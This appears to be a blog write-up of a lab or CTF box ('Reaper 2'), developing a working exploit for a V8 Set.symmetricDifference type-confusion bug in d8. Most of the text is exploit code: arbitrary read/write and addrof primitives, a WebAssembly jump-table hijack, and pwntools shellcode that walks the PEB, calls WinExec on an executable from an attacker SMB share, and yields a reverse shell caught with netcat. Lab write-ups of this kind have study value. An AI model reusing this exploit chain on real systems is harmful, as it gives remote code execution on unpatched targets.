# Reaper 2 Part 1 | Browser Exploit

# Recon

IP: 10.10.65.169

80/tcp   open  http          Microsoft IIS httpd 10.0
135/tcp  open  msrpc         Microsoft Windows RPC
445/tcp  open  microsoft-ds?
3389/tcp open  ms-wbt-server Microsoft Terminal Services

Looking at port 80 it seems to be a v8 instance:

powered by V8 version 12.2.0 
Completed: d8.exe --allow-natives-syntax --harmony-set-methods data.js 

Looking into these compiles flags there seems to be a chromium issue a POC and working exploit for linux: https://issues.chromium.org/issues/41483297.

Checking the smbshare there is a release build of d8, there is no point building the exploit for the dev version

smbclient.py anonymous@10.10.65.169
Impacket v0.13.0.dev0+20240916.171021.65b774de - Copyright Fortra, LLC and its affiliated companies 

Password:
Type help for list of commands
# use software$
# ls
...
drw-rw-rw-          0  Sun Apr 28 22:27:09 2024 v8_release
# cd v8_release
# ls
...
-rw-rw-rw-   24743936  Sun Apr 28 22:27:09 2024 d8.exe

# d8 exploit

# POC to Primatives

Instead of going straight to the working exploit. Disclaimer I have no idea what i am doing with browser exploits so below is an outline of what makes sense for me.

let a = new Set();  
let b = new Set();  
  
b.keys = () => {  
    a.clear();  
    return b[Symbol.iterator]();  
}  
  
r = a.symmetricDifference(b);  

Should check if the poc actually works.

Attaching to windbg and running:

d8.exe --allow-natives-syntax --harmony-set-methods poc.js

Nothing happened :|

Lets dump all the objects with a debugprint and see if we can see anything useful

d8> % DebugPrint(c);
DebugPrint: 000002570004B4ED: [JSSet]
 ...
 - table: 0x02570004b49d <OrderedHashSet[13]>
d8> % DebugPrint(a);
DebugPrint: 000002570004956D: [JSSet]
 ...
 - table: 0x02570004b44d <OrderedHashSet[13]>
 ...
d8> % DebugPrint(b);
DebugPrint: 000002570004B295: [JSSet]
 - table: 0x02570004b2a5 <OrderedHashSet[13]>

If we look at the c objects table entries we find a reference to a's table:

0:006> dd 0x02570004b49d-1
00000257`0004b49c  00001b9d 0000001a 0004b44d fffffffe

Playing around with the fields (or read the exploit) you can see that this maps to the .size call. Which means we have a type confusion primitive.

Next would be to see if we can add and remove items to leak something:

let a = new Set();  
let b = new Set();  

for (let i = 0; i < 16; i++) { a.add(i); } // elements: 16, capacity: 16 

b.keys = () => {  
	a.add(16);
    return b[Symbol.iterator]();  
}  
  
r = a.symmetricDifference(b);  
% DebugPrint(r.size);
for (let i = 0; i < 8; i++) { r.delete(i); }
% DebugPrint(r.size);

The above should remove everything and read a random value as a string.

DebugPrint: 0000022F000498AD: [OrderedHashSet]
 - FixedArray length: 83
 - elements: 17
 - deleted: 0
 - buckets: 16
 - capacity: 32
...
DebugPrint: 0000022F0004989D: [String]: u#a\x00\u1b9d\x00\xa6\x00"\x00\x00\x00 \x00\ufffe\uffff\ufffe\uffff\ufffe\uffff\x0a\x00 \x00\x1e\x00\x10\x00\x1a\x00\x1c\x00\x0c\x00\x16\x00\x18\x00\x06\x00\ufffe\uffff\x12\x00\ufffe\uffff\x00\x00\ufffe\uffff\x02\x00\ufffe\uffff\x04\x00\ufffe\uffff\x06\x00\ufffe\uffff\x08\x00\x00\x00\x0a\x00\x08\x00\x0c\x00\ufffe\uffff\x0e\x00\ufffe\uffff\x10\x00\x02\x00\x12\x00\ufffe\uffff\x14\x00\ufffe\uffff\x16\x00\ufffe\uffff\x18\x00\ufffe\uffff\x1a
Smi: 0x3 (3)

that looks like a type confusion to me :D

Looking at the exploit they seem to use a PACKED_DOUBLE_ELEMENTS which is like a list or something? but anyways this is the metadata we need to use the object:

let fi_buf = new ArrayBuffer(8); // shared buffer
let f_buf = new Float64Array(fi_buf); // buffer for float
let i_buf = new BigUint64Array(fi_buf); // buffer for bigint

function itof(i) {
    i_buf[0] = i;
    return f_buf[0];
}

let fake_arr_struct;

let map = 0x18efb1n; // PACKED_DOUBLE_ELEMENTS
let properties = 0x6cdn; // FixedArray[0]
let elements = 0x41414141n; // arbitrary address
let length = 1n << 1n; // length: 1

fake_arr_struct[0] = itof(map | properties << 32n);
fake_arr_struct[1] = itof(elements | length << 32n);

We should update the PACKED_DOUBLE_ELEMENTS value to match our system first:

d8> % DebugPrint([1.1])
DebugPrint: 0000020E00049B49: [JSArray]
 - map: 0x020e0018ed71 <Map[16](PACKED_DOUBLE_ELEMENTS)> [FastProperties]

Adding that to the poc:


let fi_buf = new ArrayBuffer(8); // shared buffer
let f_buf = new Float64Array(fi_buf); // buffer for float
let i_buf = new BigUint64Array(fi_buf); // buffer for bigint

function itof(i) {
    i_buf[0] = i;
    return f_buf[0];
}

let a = new Set();  
let b = new Set();  

for (let i = 0; i < 32; i++) { a.add(i); } // elements: 16, capacity: 16 

let fake_arr_struct;

b.keys = () => {  
	fake_arr_struct = [1.1, 2.2];
	a.add(32);
    return b[Symbol.iterator]();  
}  

r = a.symmetricDifference(b);  

let map = 0x18ed71n; // PACKED_DOUBLE_ELEMENTS
let properties = 0x6cdn; // FixedArray[0]
let elements = 0x41414141; // arbitrary address
let length = 1n << 1n; // length: 1

fake_arr_struct[0] = itof(map | properties << 32n);
fake_arr_struct[1] = itof(elements | length << 32n);

for (let i = 0; i < 16; i++) { r.delete(i); }

let type_confused_array = r.size

Running the updated poc we can see that r.size is now fake_arr_struct[1]

d8> %DebugPrint(type_confused_array)
DebugPrint: 0000034000049D19: [JSArray]
 - map: 0x03400018ed71 <Map[16](PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x03400018e6e5 <JSArray[0]>
 - elements: 0x034041414141

Now we can create an arb read and read the base of V8 to check it works:

function ftoi(f) {
    f_buf[0] = f;
    return i_buf[0];
}

function hex(i) {
    return '0x' + i.toString(16);
}

function arb_read(addr) {
    elements = addr - 8n + 1n;
    fake_arr_struct[1] = itof(elements | length << 32n);
    return type_confused_array[0];
}
let v8base = (ftoi(arb_read(0x24)) & 0xffffffffn) << 32n;
console.log('[+] V8 base: ' + hex(v8base));
[+] V8 base: 0x2bf00000000
V8 version 12.2.0 (candidate)
d8>
---
0:006> dd 0x2bf00000000+24
000002bf`00000024  000002bf 0003ff74 00000000 00000000

:D

We can also convert the arb_read into an arb_write really easily:

function arb_write(addr, value) {
    elements = addr - 8n + 1n;
    fake_arr_struct[1] = itof(elements | length << 32n);
	type_confused_array[0] = itof(value)
}

Next it would be a good idea to leak the value of the type_confused_array. We can do this by creating a marker and then searching proc memory to find it. It's basically a egghunter.

let egg;
let leaked_data;

egg = 0x7730307477303074n 
fake_arr_struct[0] = itof(egg);
let leaked_addr = 0x4a000n; // this value was used in the exploit :D
for (let i = 0; i < 0x1000; i++){
	leaked_data = ftoi(arb_read(leaked_addr));
	if (leaked_data == egg) {
		break; 
	}
	leaked_addr += 4n;
}
leaked_addr += 8n;

console.log('[+] address of type_confused_array: ' + hex(leaked_addr));

As we are using element 0 for egghunting we need to shift the offsets in the read and write by 1.

Running the poc we see it works!

[+] V8 base: 0x1ab00000000
[+] address of type_confused_array: 0x4a04c
V8 version 12.2.0 (candidate)
d8> % DebugPrint(type_confused_array)
DebugPrint: 000001AB0004A04D: [JSArray]

We can also expand this to read the location of random objects by adding an object array to type_confused_array

let type_confused_array;
let obj_array;

b.keys = () => {  
	fake_arr_struct = [1.1, 2.2, 3.3];
	a.add(32);
	obj_array = [{}];
    return b[Symbol.iterator]();  
}  

Then we just do the egg hunt again:

egg = leaked_addr + 1n;
obj_array[0] = type_confused_array;
let obj_array_addr = leaked_addr + 0x30n;
for (let i = 0; i < 0x1000; i++){
	leaked_data = ftoi(arb_read(obj_array_addr)) & 0xffffffffn;
	if (leaked_data == egg) {
		break; 
	}
	obj_array_addr += 4n;
}

console.log('[+] address of obj_array[0]: ' + hex(leaked_addr));

checking if it works:

[+] V8 base: 0x23500000000
[+] address of type_confused_array: 0x4a1c4
[+] address of obj_array[0]: 0x4a1c4

We can wrap this into a helper function:

function addrof(obj) {
    obj_array[0] = obj;
    return ftoi(arb_read(obj_array_addr)) & 0xffffffffn;
}

# Code Exec

Now that we have an arb read and write it is a good time to figure out how to get code exec. Looking back at the working exploit provided you can convert js -> webassembly text -> wasm using the following method:

let fi_buf = new ArrayBuffer(8); // shared buffer
let f_buf = new Float64Array(fi_buf); // buffer for float
let i_buf = new BigUint64Array(fi_buf); // buffer for bigint

function itof(i) {
    i_buf[0] = i;
    return f_buf[0];
}

let shellcode = [
    0x4141414141414141n,
    0x4242424242424242n,
]

for (let i = 0; i < shellcode.length; i++)
    console.log('f64.const ' + itof(shellcode[i]));

convert to f64

.\d8.exe shellcode.js
f64.const 2261634.5098039214
f64.const 156842099844.51764

Write as webassembly text:

(module
    (func (export "main")
        f64.const 2261634.5098039214
        f64.const 156842099844.51764

        return
    )
)

compile to wasm

wat2wasm -v shellcode.wat -o shellcode.was

Finally we can convert it to an intarray with python and add it to the poc:

import sys

if len(sys.argv) != 2:
    print(f"[!] {sys.argv[0]} <file.wasm>")
    exit()

with open(sys.argv[1], "rb") as file:
    wasm = file.read()

print(str([x for x in wasm]))
let wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 8, 1, 4, 109, 97, 105, 110, 0, 0, 10, 23, 1, 21, 0, 68, 65, 65, 65, 65, 65, 65, 65, 65, 68, 66, 66, 66, 66, 66, 66, 66, 66, 15, 11]);  
let wasmModule = new WebAssembly.Module(wasmCode);
let wasmInstance = new WebAssembly.Instance(wasmModule);
let main = wasmInstance.exports.main;

Running the above code in d8 we can check how the shellcode is structured:

d8> %DebugPrint(wasmInstance)
DebugPrint: 0000030D00199BCD: [WasmInstanceObject] in OldSpace
 ...
 - jump_table_start: 000000BC03141000
 ...
 - All own properties (excluding elements): {}

that sounds interesting. Lets set a breakpoint and call main();

0:001> bp 000000BC03141000
0:001> g
Breakpoint 0 hit
000000bc`03141000 e9bb070000      jmp     000000bc`031417c0

After single stepping for a while we find this:

000000bc`03141802 89e5                 mov     ebp, esp
000000bc`03141804 6a08                 push    8
000000bc`03141806 56                   push    rsi
000000bc`03141807 4881ec10000000       sub     rsp, 10h
000000bc`0314180e 493b65a0             cmp     rsp, qword ptr [r13-60h]
000000bc`03141812 0f8631000000         jbe     000000BC03141849
000000bc`03141818 49ba4141414141414141 mov     r10, 4141414141414141h
000000bc`03141822 66490f6ec2           movq    xmm0, r10
000000bc`03141827 49ba4242424242424242 mov     r10, 4242424242424242h
000000bc`03141831 66490f6eca           movq    xmm1, r10
000000bc`03141836 4c8b5677             mov     r10, qword ptr [rsi+77h]
000000bc`0314183a 41832a36             sub     dword ptr [r10], 36h
000000bc`0314183e 0f8810000000         js      000000BC03141854
000000bc`03141844 488be5               mov     rsp, rbp
000000bc`03141847 5d                   pop     rbp

This is annoying to say the least. Before we get carried away lets update the jump_table_start to be where our shellcode starts with the arb write. To do this we need the offset of jump_table_start from wasmInstance and the offset to teh shellcode

0:000> dq 0000030D00199BCD + 0x47
0000030d`00199c14  000000bc`03141000

0:000> ? 000000bc`03141818+2 - 000000bc`03141000
Evaluate expression: 2074 = 00000000`0000081a

Adding it to the poc:

let wasmInstance_addr = addrof(wasmInstance);
let jump_table_start = ftoi(arb_read(wasmInstance_addr + 0x47n));
arb_write(wasmInstance_addr + 0x47n, jump_table_start + 0x81an);
main();

changing the shellcode to be nops and breapoints then running it gives code exec!!

(238c.22e4): Break instruction exception - code 80000003 (first chance)
00000070`8e10181b cc              int     3
0:000> t
00000070`8e10181c 90              nop
0:000> 
00000070`8e10181d cc              int     3

# Shellcoding

We can run code via Winexec, to do this we need a pointer to kernel32. So time for a PEB walk :)

// set rbx to be winexec
xor rbx, rbx
mov rbx, gs:[0x60] // PEB 
mov rbx, [rbx+0x18] // ldr struct
mov rbx, [rbx+0x20] // InMemoryOrderModuleList
mov rbx, [rbx] // d8 image
mov rbx, [rbx] // ntdll
mov rbx, [rbx+0x20] // kernel 32 base
xor rax, rax
mov rax, winexec_offset
add rbx, rax

Winexec takes 2 args:

UINT WinExec(
  [in] LPCSTR lpCmdLine,
  [in] UINT   uCmdShow
);

which means rcx needs to be the path to the file we want to run and rdx needs to be 0. To write a string we can do the following pattern:

push 0xdeadbeef
xor rax, rax
mov eax, 0xdeadbeef
shl rax, 0x20
or rax, 0xdeadbeef
push rax

resulting in the string pointer being written to rsp. At the end we can do a:

mov rcx, rsp; push 0x0; pop rdx;
sub rsp, 0x30; // caller function room
call rbx;

Writing this to a python script:

import pwn

file_path = b"\\\\192.168.1.11\\share\\shl.exe"[::-1].hex() # need to reverse string due to how its being written

win_exec_offset = "0x068820"

pwn.context.arch = "amd64"

sc = [
        pwn.asm("int3"), # breakpoint for debugging
        pwn.asm("xor rbx, rbx"),
        pwn.asm("mov rbx, gs:[rbx + 0x60]"),
        pwn.asm("mov rbx, [rbx+0x18]"),
        pwn.asm("mov rbx, [rbx+0x20]"),
        pwn.asm("mov rbx, [rbx]"),
        pwn.asm("mov rbx, [rbx]"),
        pwn.asm("mov rbx, [rbx+0x20]"),
        pwn.asm(f"mov eax, {win_exec_offset}"),
        pwn.asm("add rbx, rax"),

        pwn.asm("push 0x" + file_path[0:8]),
        pwn.asm("xor rax, rax"),
        pwn.asm("mov eax, 0x" + file_path[8:16]),
        pwn.asm("shl rax, 0x20"),
        pwn.asm("or rax, 0x" + file_path[16:24]),
        pwn.asm("push rax"),
        pwn.asm("mov eax, 0x" + file_path[24:32]),
        pwn.asm("nop; shl rax, 0x20"),
        pwn.asm("or rax, 0x" + file_path[32:40]),
        pwn.asm("nop; push rax"), # so wasm wont optimise the same qword
        pwn.asm("mov eax, 0x" + file_path[40:48]),
        pwn.asm("nop; nop; shl rax, 0x20"),
        pwn.asm("or rax, 0x" + file_path[48:56]),
        pwn.asm("nop; nop; push rax"),

        pwn.asm("mov rcx, rsp; push 0x0; pop rdx"),
        pwn.asm("sub rsp, 0x30; call rbx")

]
for i in range(len(sc)):
    sc[i] = sc[i].ljust(6, pwn.asm("nop"))  
    if i != len(sc) - 1:
        sc[i] += pwn.asm("jmp $+0x9")
    sc[i] = int(sc[i][::-1].hex(), 16) # js will load it "backwards"
    print(hex(sc[i]) + "n,")

Swapping out the wasm for the above and running the poc again:

$ nc -lvnp 9001
Listening on 0.0.0.0 9001
Connection received on 192.168.1.254 56272
Microsoft Windows [Version 10.0.19045.5679]
(c) Microsoft Corporation. All rights reserved.                                                                                                                                                
C:\Users\eljay\Desktop>

SHELL!!

Now to change the offsets to run against the remote target and its another shell!

This blog is getting kind of long. So instead of trying to cram in the kernel driver I'm going to split it into 2 parts.